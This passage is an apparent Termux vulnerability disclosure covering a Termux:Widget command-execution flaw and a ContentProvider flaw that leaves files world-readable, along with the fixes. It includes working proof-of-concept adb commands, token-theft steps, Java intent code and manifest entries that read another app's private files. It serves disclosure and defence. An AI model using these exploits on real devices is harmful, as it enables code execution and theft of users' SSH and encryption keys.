<p>This kind of vulnerability partly existed because <strong>any app can send intents to plugin apps</strong> of automation apps like <code>Tasker</code>. The <code>Tasker</code> app and the <a href="https://github.com/twofortyfouram/android-monorepo"><code>locale</code></a> plugin protocol library it uses were created around <code>2008</code>. At that time runtime permissions didn't exist and security and possible dangerous uses of plugins may not have been a top priority/concern. However, it is indeed especially concerning for plugin apps that are granted privileged permissions like device admin/owner and accessibility services or even storage, location, etc. For example the <a href="https://play.google.com/store/apps/details?id=com.balda.securetask"><code>SecureTask</code></a> plugin needs to be set as device admin or even owner for a lot of its features. If a user has installed the app on their phone and have granted the device admin permission to <code>SecureTask</code>, any app could send intents to it directly without going through Tasker to run privileged commands, including <strong>wiping the device</strong>.</p>
<p>The <code>Termux:Tasker</code> requirement for <code>com.termux.permission.RUN_COMMAND</code> permission requires Tasker and all other automation apps to request the permission in their <code>AndroidManifest.xml</code>, but this can't be expected to be done for almost every plugin that exists since it would require manual intervention of all automation app devs. Moreover, private plugins may exist to with their custom permissions, whose info their devs may not want to release to the public. Possibly some kind of token generation and validation mechanism needs to be designed, possibly as core part <code>locale</code> library. Hopefully, more thought can be given to this and termux, automation and <code>locale</code> lib devs can collaborate to implement something in (near) future, since current design is not how it should be.</p>
<h2 id="section-1"></h2>
<h2 id="termuxwidget-privilege-escalation-vulnerability">2. Termux:Widget Privilege Escalation Vulnerability</h2>
<p>This vulnerability allowed execution of <strong>any command</strong> in <code>termux</code> context or even <code>root</code> context if termux had been granted root permissions by any <strong>launcher app</strong> in which the user had created a launcher shortcut and by <strong>any malicious app</strong> which started the <code>Termux:Widget</code> shortcut chooser activity and user accidentally selected a shortcut regardless of if the app was the default launcher or not.</p>
<p>The vulnerability existed since the first release of the plugin <a href="https://github.com/termux/termux-widget/releases/tag/v0.3"><code>v0.3</code></a> (<code>2015-12-20</code>) till <code>&lt;= v0.12</code> and was fixed in <a href="https://github.com/termux/termux-widget/releases/tag/v0.13.0"><code>v0.13.0</code></a> (<code>2021-09-23</code>).</p>
<p>The <code>Termux:Widget</code> &quot;security&quot; worked by <a href="https://github.com/termux/termux-widget/blob/v0.12/app/src/main/java/com/termux/widget/TermuxLaunchShortcutActivity.java#L23">generating a token</a> and storing it in shared preferences. Now every time a static shortcut was created for a launcher app, it was <a href="https://github.com/termux/termux-widget/blob/v0.12/app/src/main/java/com/termux/widget/TermuxCreateShortcutActivity.java#L50">sent this token</a> as an extra in the shortcut intent created. When the user triggered the shortcut, the shortcut intent was sent by the launcher app and received by <code>TermuxLaunchShortcutActivity</code> and it was checked if the <a href="https://github.com/termux/termux-widget/blob/v0.12/app/src/main/java/com/termux/widget/TermuxLaunchShortcutActivity.java#L39">one in the intent matched against the one stored in shared preferences</a>. Now this provided decent security and is usually how APIs work, but <a href="https://github.com/termux/termux-widget/blob/v0.12/app/src/main/java/com/termux/widget/TermuxLaunchShortcutActivity.java#L51">no canonical path validation was being done</a> before passing it to <a href="https://github.com/termux/termux-widget/blob/v0.12/app/src/main/java/com/termux/widget/TermuxLaunchShortcutActivity.java#L51"><code>TermuxService</code></a>. It was not checked if the canonical path was under the <code>~/.shortcuts</code> directory. So basically once a malicious launcher or any app had received a token, it could run any command at any time by sending a custom path like <code>/sdcard/exploit.sh</code> for foreground commands or <code>/sdcard/tasks/exploit.sh</code> for background commands (<code>Termux:Widget</code> would assume it as background <a href="https://github.com/termux/termux-widget/blob/v0.12/app/src/main/java/com/termux/widget/TermuxLaunchShortcutActivity.java#L55">since parent dirname would equal <code>tasks</code></a>).</p>
<h3 id="proof-of-concept-1">2. Proof Of Concept</h3>
<ol>
<li>
<p>Install <a href="https://f-droid.org/en/packages/com.termux.widget"><code>Termux:Widget</code> <code>v0.12</code></a>.</p>
</li>
<li>
<p>Create a shortcut from termux terminal: <code>touch ~/.shortcuts/tasks/test</code></p>
</li>
<li>
<p>Get the token being used by <code>Termux:Widget</code> by installing <a href="https://github.com/agnostic-apollo/TaskerLauncherShortcut/releases"><code>TaskerLauncherShortcut</code></a> and open it, then options (3 dots at top right) -&gt; <code>Search Shortcuts</code> -&gt; <code>Static Shortcut</code> -&gt; <code>Termux:Widget</code> -&gt; Select any shortcut and an intent uri will be copied to clipboard, something like <code>com.termux.file:/data/data/com.termux/files/home/.shortcuts/tasks/test#Intent;component=com.termux.widget/.TermuxLaunchShortcutActivity;S.com.termux.shortcut.token=22e30b81-5d67-4ee3-be0e-66169f637025;end</code>. You can also get the token by running following in termux terminal <code>cat /data/data/com.termux.widget/shared_prefs/token.xml</code> after creating at least one launcher shortcut.</p>
</li>
<li>
<p>Create an exploit file from termux terminal: <code>echo 'whoami; su -c whoami; sleep 5' &gt; /sdcard/exploit.sh</code></p>
</li>
<li>
<p>Trigger the exploit from termux terminal or <code>adb shell</code>: <code>am start --user 0 -n com.termux.widget/.TermuxLaunchShortcutActivity -d /sdcard/exploit.sh --es com.termux.shortcut.token 22e30b81-5d67-4ee3-be0e-66169f637025</code></p>
</li>
</ol>
<p>Or use java from any app.</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="nc">Intent</span> <span class="n">intent</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Intent</span><span class="o">();</span>
    <span class="n">intent</span><span class="o">.</span><span class="na">setClassName</span><span class="o">(</span><span class="s">"com.termux.widget"</span><span class="o">,</span> <span class="s">"com.termux.widget.TermuxLaunchShortcutActivity"</span><span class="o">);</span>
    <span class="n">intent</span><span class="o">.</span><span class="na">setData</span><span class="o">(</span><span class="nc">Uri</span><span class="o">.</span><span class="na">parse</span><span class="o">(</span><span class="s">"/sdcard/exploit.sh"</span><span class="o">));</span>
    <span class="n">intent</span><span class="o">.</span><span class="na">putExtra</span><span class="o">(</span><span class="s">"com.termux.shortcut.token"</span><span class="o">,</span> <span class="s">"22e30b81-5d67-4ee3-be0e-66169f637025"</span><span class="o">);</span>
    <span class="n">startActivity</span><span class="o">(</span><span class="n">intent</span><span class="o">);</span>
</code></pre></div></div>
<p>The termux app will run the <code>/sdcard/exploit.sh</code> script with <code>/data/data/com.termux/files/usr/bin/sh</code> and <code>/sdcard</code> being mounted as <code>noexec</code> would not be an issue.</p>
<h3 id="fix-1">2. Fix</h3>
<ol>
<li>
<p>Use <code>ShortcutManager</code> APIs to create pinned shortcut on android version <code>&gt;=8</code>. This is better way to create shortcuts since launcher does not get access to shortcut data of the app and android itself stores them, so even the launcher app would not get the token and would not be able to run any scripts whose shortcut was not explicitly created by the user. For more info on shortcut types, check <a href="https://github.com/agnostic-apollo/TaskerLauncherShortcut#shortcut-types">https://github.com/agnostic-apollo/TaskerLauncherShortcut#shortcut-types</a>. (<a href="https://github.com/termux/termux-widget/commit/e94d7777"><code>e94d7777</code></a>)</p>
</li>
<li>
<p>The token being previously used and shortcuts created on older versions of <code>Termux:Widget</code> were invalidated so that in case a malicious app already had the token, it could not use it anymore and so that users on Android <code>&gt;= 8</code> were forced to re-create their shortcuts with safer pinned shortcuts API instead of continuing to use the old unsafer static shortcuts API. (<a href="https://github.com/termux/termux-widget/commit/32f344ee"><code>32f344ee</code></a>)</p>
</li>
<li>
<p>The canonical path of the executable received by <code>TermuxLaunchShortcutActivity</code> was <a href="https://github.com/termux/termux-widget/blob/v0.13.0/app/src/main/java/com/termux/widget/TermuxWidgetProvider.java#L183">found</a> before it was processed. Shortcuts that were broken symlinks or whose canonical path was not under the <code>~/.shortcuts</code> or <code>~/.termux</code> directory were <a href="https://github.com/termux/termux-widget/blob/v0.13.0/app/src/main/java/com/termux/widget/TermuxWidgetService.java#L30">not shown</a> and <a href="https://github.com/termux/termux-widget/blob/v0.13.0/app/src/main/java/com/termux/widget/TermuxWidgetProvider.java#L186">execution for the later was not allowed</a> even if the path was sent. (<a href="https://github.com/termux/termux-widget/commit/32f344ee"><code>32f344ee</code></a>, <a href="https://github.com/termux/termux-widget/commit/13954b8b"><code>32f344ee</code></a>, <a href="https://github.com/termux/termux-widget/commit/bcb0ab6c"><code>bcb0ab6c</code></a>)</p>
</li>
</ol>
<p>Using pinned shortcuts on android version <code>&gt;=8</code> and not allowing execution of files whose canonical path was not under the <code>~/.shortcuts</code> or <code>~/.termux</code> directory provides reasonable security against any arbitrary code execution or privilege escalation. Users who are on Android versions <code>&lt; 8</code> would still have to use static shortcuts and should be careful about which apps they create a shortcut in, since such apps would be able to execute any scripts under the allowed directories. Users generally should be very careful about which launcher or non-launcher shortcut apps (like <a href="https://play.google.com/store/apps/details?id=rk.android.app.shortcutmaker">Shortcut Maker</a>) they install on their device, since these apps get to execute dangerous shortcuts for apps which can have serious consequences if not protected properly by the apps.</p>
<p>Check <code>Termux:Widget</code> <a href="https://github.com/termux/termux-widget#setup-instructions"><code>README</code></a> for more details on new design.</p>
<h2 id="section-2"></h2>
<h2 id="termux-files-world-readable">3. Termux Files World Readable</h2>
<p>This vulnerability allowed <strong>all files</strong> under <code>/data/data/com.termux/files</code> to be readable by <strong>any app</strong>.</p>
<p>The vulnerability existed since <a href="https://github.com/termux/termux-app/releases/tag/v0.47"><code>v0.47</code></a> (<code>2017-02-28</code>) till <code>&lt;= v0.117</code> and was fixed in <a href="https://github.com/termux/termux-app/releases/tag/v0.118.0"><code>v0.118.0</code></a> (<code>2022-01-08</code>).</p>
<p>The vulnerability existed in the <a href="https://github.com/termux/termux-app/blob/v0.117/app/src/main/AndroidManifest.xml#L171">termux <code>ContentProvider</code> declaration</a> since it had set <code>android.permission.permRead</code> as <a href="https://developer.android.com/guide/topics/manifest/provider-element"><code>readPermission</code></a>. Basically, termux <a href="https://github.com/termux/termux-app/blob/v0.117/app/src/main/java/com/termux/app/TermuxOpenReceiver.java#L77">passes</a> the <a href="https://developer.android.com/guide/topics/providers/content-provider-basics#getting-access-with-temporary-permissions"><code>FLAG_GRANT_READ_URI_PERMISSION</code> flag</a> when user requests to open a file with another app, like with <code>termux-open</code>, so the target app doesn't need to have the <code>android.permission.permRead</code> permission to be able to read the file, which also requires <code>grantUriPermissions=&quot;true&quot;</code> in the <code>provider</code> element. However, if some app has the permission, it can <strong>read</strong> any files under <code>files</code> directory as <a href="https://github.com/termux/termux-app/blob/v0.117/app/src/main/java/com/termux/app/TermuxOpenReceiver.java#L177">set by termux <code>TermuxOpenReceiver$ContentProvider.openFile()</code></a>.</p>
<p>Issue was that termux did not declare/publish the  <code>android.permission.permRead</code> permission, like it does the <code>com.termux.permission.RUN_COMMAND</code> custom permission. It's a dummy permission, likely copied from some tutorial or stackoverflow answer when the <code>ContentProvider</code> was added, since internet searches reveal various random results from different sites for it. It was meant to be replaced with a custom permission published by the app, but it was not. That resulted in <strong>any app</strong> to just publish the permission in its own <code>AndroidManifest.xml</code> and grant itself the permission with <code>uses-permission</code> entry and then be able to <strong>read</strong> any files under <code>files</code> directory.</p>
<p>Note that other apps could only <strong>read</strong> the files, but not <strong>write</strong> to them since <code>TermuxOpenReceiver$ContentProvider.openFile()</code> returned the <code>ParcelFileDescriptor.MODE_READ_ONLY</code> file mode, so writing was not possible and caller would get <code>java.io.IOException: write failed: EBADF (Bad file descriptor)</code> errors if it tried to write, There was also no <code>writePermission</code> set in the <code>provider</code> element. This at least prevented arbitrary code execution and privilege escalation, which obviously would have been much worse for some cases.</p>
<h3 id="proof-of-concept-2">3. Proof Of Concept</h3>
<p>The following POC reads the <code>/data/data/com.termux/files/home/.bashrc</code> and writes it to <code>/sdcard/bashrc.txt</code>.</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">private</span> <span class="kt">void</span> <span class="nf">runTermuxContentProviderReadCommand</span><span class="o">(</span><span class="nc">Context</span> <span class="n">context</span><span class="o">)</span> <span class="o">{</span>
    <span class="nc">Uri</span> <span class="n">uri</span> <span class="o">=</span> <span class="nc">Uri</span><span class="o">.</span><span class="na">parse</span><span class="o">(</span><span class="s">"content://com.termux.files/data/data/com.termux/files/home/.bashrc"</span><span class="o">);</span>
    <span class="c1">//Uri uri = Uri.parse("content://com.termux.files/data/data/com.termux/files/usr/bin/login");</span>
    <span class="nc">InputStream</span> <span class="n">inputStream</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
    <span class="nc">FileOutputStream</span> <span class="n">fileOutputStream</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>

    <span class="k">try</span> <span class="o">{</span>
        <span class="n">inputStream</span> <span class="o">=</span> <span class="n">context</span><span class="o">.</span><span class="na">getContentResolver</span><span class="o">().</span><span class="na">openInputStream</span><span class="o">(</span><span class="n">uri</span><span class="o">);</span>
        <span class="nc">File</span> <span class="n">outFile</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">File</span><span class="o">(</span><span class="nc">Environment</span><span class="o">.</span><span class="na">getExternalStorageDirectory</span><span class="o">(),</span> <span class="s">"bashrc.txt"</span><span class="o">);</span>
        <span class="n">fileOutputStream</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">FileOutputStream</span><span class="o">(</span><span class="n">outFile</span><span class="o">);</span>
        <span class="kt">byte</span><span class="o">[]</span> <span class="n">buffer</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="o">[</span><span class="mi">4096</span><span class="o">];</span>
        <span class="kt">int</span> <span class="n">readBytes</span><span class="o">;</span>
        <span class="k">while</span> <span class="o">((</span><span class="n">readBytes</span> <span class="o">=</span> <span class="n">inputStream</span><span class="o">.</span><span class="na">read</span><span class="o">(</span><span class="n">buffer</span><span class="o">))</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="o">)</span> <span class="o">{</span>
            <span class="nc">Log</span><span class="o">.</span><span class="na">d</span><span class="o">(</span><span class="no">LOG_TAG</span><span class="o">,</span> <span class="s">"data: "</span> <span class="o">+</span> <span class="k">new</span> <span class="nc">String</span><span class="o">(</span><span class="n">buffer</span><span class="o">,</span> <span class="mi">0</span><span class="o">,</span> <span class="n">readBytes</span><span class="o">,</span> <span class="nc">Charset</span><span class="o">.</span><span class="na">defaultCharset</span><span class="o">()));</span>
            <span class="n">fileOutputStream</span><span class="o">.</span><span class="na">write</span><span class="o">(</span><span class="n">buffer</span><span class="o">,</span> <span class="mi">0</span><span class="o">,</span> <span class="n">readBytes</span><span class="o">);</span>
        <span class="o">}</span>
    <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">Exception</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
        <span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
    <span class="o">}</span> <span class="k">finally</span> <span class="o">{</span>
        <span class="k">try</span> <span class="o">{</span>
            <span class="k">if</span> <span class="o">(</span><span class="n">inputStream</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span>
                <span class="n">inputStream</span><span class="o">.</span><span class="na">close</span><span class="o">();</span>
            <span class="k">if</span> <span class="o">(</span><span class="n">fileOutputStream</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span>
                <span class="n">fileOutputStream</span><span class="o">.</span><span class="na">close</span><span class="o">();</span>
        <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">IOException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
            <span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
        <span class="o">}</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;permission</span>
    <span class="na">android:name=</span><span class="s">"android.permission.permRead"</span>
    <span class="na">android:description=</span><span class="s">"@string/permission_termux_provider_description"</span>
    <span class="na">android:icon=</span><span class="s">"@mipmap/ic_launcher"</span>
    <span class="na">android:label=</span><span class="s">"Termux Provider"</span>
    <span class="na">android:protectionLevel=</span><span class="s">"normal"</span> <span class="nt">/&gt;</span>

<span class="nt">&lt;uses-permission</span> <span class="na">android:name=</span><span class="s">"android.permission.permRead"</span>  <span class="nt">/&gt;</span>
</code></pre></div></div>
<h3 id="fix-2">3. Fix</h3>
<ol>
<li>
<p>The dummy <code>android.permission.permRead</code> <code>readPermission</code> was <em>silently</em> replaced with <code>com.termux.permission.RUN_COMMAND</code> in <a href="https://github.com/termux/termux-app/blob/dd952a90ade33e77b30959abf9d71c80b9702ba7/app/src/main/AndroidManifest.xml#L155">termux <code>ContentProvider</code> declaration</a>. It seemed appropriate to use the same <code>com.termux.permission.RUN_COMMAND</code> permission used for <a href="https://github.com/termux/termux-app/wiki/RUN_COMMAND-Intent"><code>RUN_COMMAND</code> intent</a> and other plugin command executions for accessing files as well since commands can access files anyways, and it would be easier for third party apps to request a single permission. (<a href="https://github.com/termux/termux-app/commit/b62645cd"><code>b62645cd</code></a>)</p>
</li>
<li>
<p>The file mode returned by <code>TermuxOpenReceiver$ContentProvider.openFile()</code> which was previously <code>ParcelFileDescriptor.MODE_READ_ONLY</code> <a href="https://github.com/termux/termux-app/blob/dd952a90ade33e77b30959abf9d71c80b9702ba7/app/src/main/java/com/termux/app/TermuxOpenReceiver.java#L196">was changed to</a> allow both read and write or more specially any file mode defined by <a href="https://cs.android.com/android/platform/superproject/+/android-11.0.0_r40:frameworks/base/core/java/android/os/ParcelFileDescriptor.java;l=625"><code>ParcelFileDescriptor.parseMode()</code></a>. With this change, apps that don't have the <code>com.termux.permission.RUN_COMMAND</code> permission are denied access, unless temporary read permission was granted through <code>termux-open</code>. For apps with the permission, they can use something like the following for reading and writing. Note that writing to external storage will fail with <code>File</code> APIs (<code>outFile.createNewFile()</code>) if scoped storage restrictions are being enforced for the calling app, like for <code>targetSdkVersion</code> <code>&gt; 28</code>. (<a href="https://github.com/termux/termux-app/commit/b62645cd"><code>b62645cd</code></a>)</p>
</li>
</ol>
<details>
<summary>Sample code to read/write termux files for v0.118.0+</summary>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">private</span> <span class="kt">void</span> <span class="nf">runTermuxContentProviderWriteCommand</span><span class="o">(</span><span class="nc">Context</span> <span class="n">context</span><span class="o">)</span> <span class="o">{</span>
    <span class="nc">Uri</span> <span class="n">uri</span> <span class="o">=</span> <span class="nc">Uri</span><span class="o">.</span><span class="na">parse</span><span class="o">(</span><span class="s">"content://com.termux.files/data/data/com.termux/files/home/test.sh"</span><span class="o">);</span>
    <span class="nc">FileOutputStream</span> <span class="n">fileOutputStream</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
    <span class="nc">BufferedWriter</span> <span class="n">bufferedWriter</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
    <span class="nc">ParcelFileDescriptor</span> <span class="n">parcelFileDescriptor</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
    <span class="k">try</span> <span class="o">{</span>
        <span class="n">parcelFileDescriptor</span> <span class="o">=</span> <span class="n">context</span><span class="o">.</span><span class="na">getContentResolver</span><span class="o">().</span><span class="na">openFileDescriptor</span><span class="o">(</span><span class="n">uri</span><span class="o">,</span> <span class="s">"wt"</span><span class="o">);</span>
        <span class="nc">Log</span><span class="o">.</span><span class="na">d</span><span class="o">(</span><span class="no">LOG_TAG</span><span class="o">,</span> <span class="s">"parcelFileDescriptor: "</span> <span class="o">+</span> <span class="n">parcelFileDescriptor</span><span class="o">.</span><span class="na">describeContents</span><span class="o">());</span>
        <span class="n">fileOutputStream</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">FileOutputStream</span><span class="o">(</span><span class="n">parcelFileDescriptor</span><span class="o">.</span><span class="na">getFileDescriptor</span><span class="o">());</span>
        <span class="n">bufferedWriter</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">BufferedWriter</span><span class="o">(</span><span class="k">new</span> <span class="nc">OutputStreamWriter</span><span class="o">(</span><span class="n">fileOutputStream</span><span class="o">,</span> <span class="nc">Charset</span><span class="o">.</span><span class="na">defaultCharset</span><span class="o">()));</span>
        <span class="n">bufferedWriter</span><span class="o">.</span><span class="na">write</span><span class="o">(</span><span class="s">"echo 'some script'\n"</span><span class="o">);</span>
        <span class="n">bufferedWriter</span><span class="o">.</span><span class="na">flush</span><span class="o">();</span>
    <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">Exception</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
        <span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
    <span class="o">}</span> <span class="k">finally</span> <span class="o">{</span>
        <span class="k">try</span> <span class="o">{</span>
            <span class="k">if</span> <span class="o">(</span><span class="n">parcelFileDescriptor</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span>
                <span class="n">parcelFileDescriptor</span><span class="o">.</span><span class="na">close</span><span class="o">();</span>
            <span class="k">if</span> <span class="o">(</span><span class="n">fileOutputStream</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span>
                <span class="n">fileOutputStream</span><span class="o">.</span><span class="na">close</span><span class="o">();</span>
            <span class="k">if</span> <span class="o">(</span><span class="n">bufferedWriter</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span>
                <span class="n">bufferedWriter</span><span class="o">.</span><span class="na">close</span><span class="o">();</span>

        <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">IOException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
            <span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
        <span class="o">}</span>
    <span class="o">}</span>
<span class="o">}</span>

<span class="kd">private</span> <span class="kt">void</span> <span class="nf">runTermuxContentProviderReadCommand</span><span class="o">(</span><span class="nc">Context</span> <span class="n">context</span><span class="o">)</span> <span class="o">{</span>
    <span class="nc">Uri</span> <span class="n">uri</span> <span class="o">=</span> <span class="nc">Uri</span><span class="o">.</span><span class="na">parse</span><span class="o">(</span><span class="s">"content://com.termux.files/data/data/com.termux/files/home/.bashrc"</span><span class="o">);</span>
    <span class="c1">//Uri uri = Uri.parse("content://com.termux.files/data/data/com.termux/files/usr/bin/login");</span>
    <span class="nc">InputStream</span> <span class="n">inputStream</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>
    <span class="nc">FileOutputStream</span> <span class="n">fileOutputStream</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span>

    <span class="k">try</span> <span class="o">{</span>
        <span class="n">inputStream</span> <span class="o">=</span> <span class="n">context</span><span class="o">.</span><span class="na">getContentResolver</span><span class="o">().</span><span class="na">openInputStream</span><span class="o">(</span><span class="n">uri</span><span class="o">);</span>
        <span class="nc">File</span> <span class="n">outFile</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">File</span><span class="o">(</span><span class="nc">Environment</span><span class="o">.</span><span class="na">getExternalStorageDirectory</span><span class="o">(),</span> <span class="s">"bashrc.txt"</span><span class="o">);</span>
        <span class="k">if</span> <span class="o">(!</span><span class="n">outFile</span><span class="o">.</span><span class="na">exists</span><span class="o">())</span>
            <span class="n">outFile</span><span class="o">.</span><span class="na">createNewFile</span><span class="o">();</span>
        <span class="n">fileOutputStream</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">FileOutputStream</span><span class="o">(</span><span class="n">outFile</span><span class="o">);</span>
        <span class="kt">byte</span><span class="o">[]</span> <span class="n">buffer</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="o">[</span><span class="mi">4096</span><span class="o">];</span>
        <span class="kt">int</span> <span class="n">readBytes</span><span class="o">;</span>
        <span class="k">while</span> <span class="o">((</span><span class="n">readBytes</span> <span class="o">=</span> <span class="n">inputStream</span><span class="o">.</span><span class="na">read</span><span class="o">(</span><span class="n">buffer</span><span class="o">))</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="o">)</span> <span class="o">{</span>
            <span class="nc">Log</span><span class="o">.</span><span class="na">d</span><span class="o">(</span><span class="no">LOG_TAG</span><span class="o">,</span> <span class="s">"data: "</span> <span class="o">+</span> <span class="k">new</span> <span class="nc">String</span><span class="o">(</span><span class="n">buffer</span><span class="o">,</span> <span class="mi">0</span><span class="o">,</span> <span class="n">readBytes</span><span class="o">,</span> <span class="nc">Charset</span><span class="o">.</span><span class="na">defaultCharset</span><span class="o">()));</span>
            <span class="n">fileOutputStream</span><span class="o">.</span><span class="na">write</span><span class="o">(</span><span class="n">buffer</span><span class="o">,</span> <span class="mi">0</span><span class="o">,</span> <span class="n">readBytes</span><span class="o">);</span>
        <span class="o">}</span>
    <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">Exception</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
        <span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
    <span class="o">}</span> <span class="k">finally</span> <span class="o">{</span>
        <span class="k">try</span> <span class="o">{</span>
            <span class="k">if</span> <span class="o">(</span><span class="n">inputStream</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span>
                <span class="n">inputStream</span><span class="o">.</span><span class="na">close</span><span class="o">();</span>
            <span class="k">if</span> <span class="o">(</span><span class="n">fileOutputStream</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span>
                <span class="n">fileOutputStream</span><span class="o">.</span><span class="na">close</span><span class="o">();</span>
        <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">IOException</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
            <span class="n">e</span><span class="o">.</span><span class="na">printStackTrace</span><span class="o">();</span>
        <span class="o">}</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>
</details>
&nbsp;&nbsp;
<ol start="3">
<li>The termux <code>ContentProvider</code> access was only allowed if <code>allow-external-apps</code> was set to <code>true</code> in <code>~/.termux/termux.properties</code>. This also results in <code>termux-open</code> and <code>xdg-open</code> command to silently fail if value is not set to <code>true</code> in <code>v0.118.0</code>. An error notification will be added in future versions. The caller app like <code>QuickEdit</code> may still show a flash error. Check <a href="https://github.com/termux/termux-tasker#allow-external-apps-property-optional">https://github.com/termux/termux-tasker#allow-external-apps-property-optional</a> on info on how to change the value.  Write access through <code>ContentProvider</code> was also disabled for <code>~/.termux/termux.properties</code> so that apps couldn't modify termux settings without user consent, although they can still do it with <code>RUN_COMMAND</code> intent for now, at least until whitelisting commands is implemented to give users more control. (<a href="https://github.com/termux/termux-app/commit/dcedf394"><code>dcedf394</code></a>, <a href="https://github.com/termux/termux-app/commit/e302a14c"><code>e302a14c</code></a>)</li>
</ol>
<h3 id="discussion-1">3. Discussion</h3>
<p><strong>All private files like security keys for <code>ssh</code> or encryption keys should be assumed to be compromised for users who were using termux app version <code>&lt;= v0.117</code> . It is highly advisable to replace any such keys with new ones and look into any suspicious authorized access on any remote servers being connected to from termux.</strong></p>
<p>People who are still using Google Playstore version are advised to <strong>immediately</strong> shift to F-Droid or Github releases since updates will not be released on Google Playstore any time soon, if ever, due to <a href="https://github.com/termux/termux-packages/wiki/Termux-and-Android-10">Android <code>10</code> issues</a>. Playstore builds were <a href="https://github.com/termux/termux-app#google-play-store-deprecated">deprecated</a> more than <code>~150</code> days ago and are no longer supported. Check <a href="https://github.com/termux/termux-app#installation">https://github.com/termux/termux-app#installation</a> for more info on where to install/update the Termux app.</p>
<p>Google Playstore, F-Droid and other stores should ideally also add checks to see if any other apps are using <code>android.permission.permRead</code> or <code>android.permission.permWrite</code> permissions or other dummy permissions found in internet searches in the app <code>ContentProvider</code> declarations and notify their devs since those apps would be vulnerable as well to such vulnerabilities. Moreover, any malicious apps declaring or requesting those permissions should also be caught and removed.</p>
<p>It would also be highly appreciated if any other devs review <code>Termux</code> and plugin apps code for any other potential vulnerabilities that may exist so that they can be fixed as well to provide safer environment for users.</p>
<h2 id="section-3"></h2>]]></content><author><name></name></author><category term="security" /><summary type="html"><![CDATA[This is a vulnerability report for termux-app, termux-tasker and termux-widget.]]></summary></entry></feed>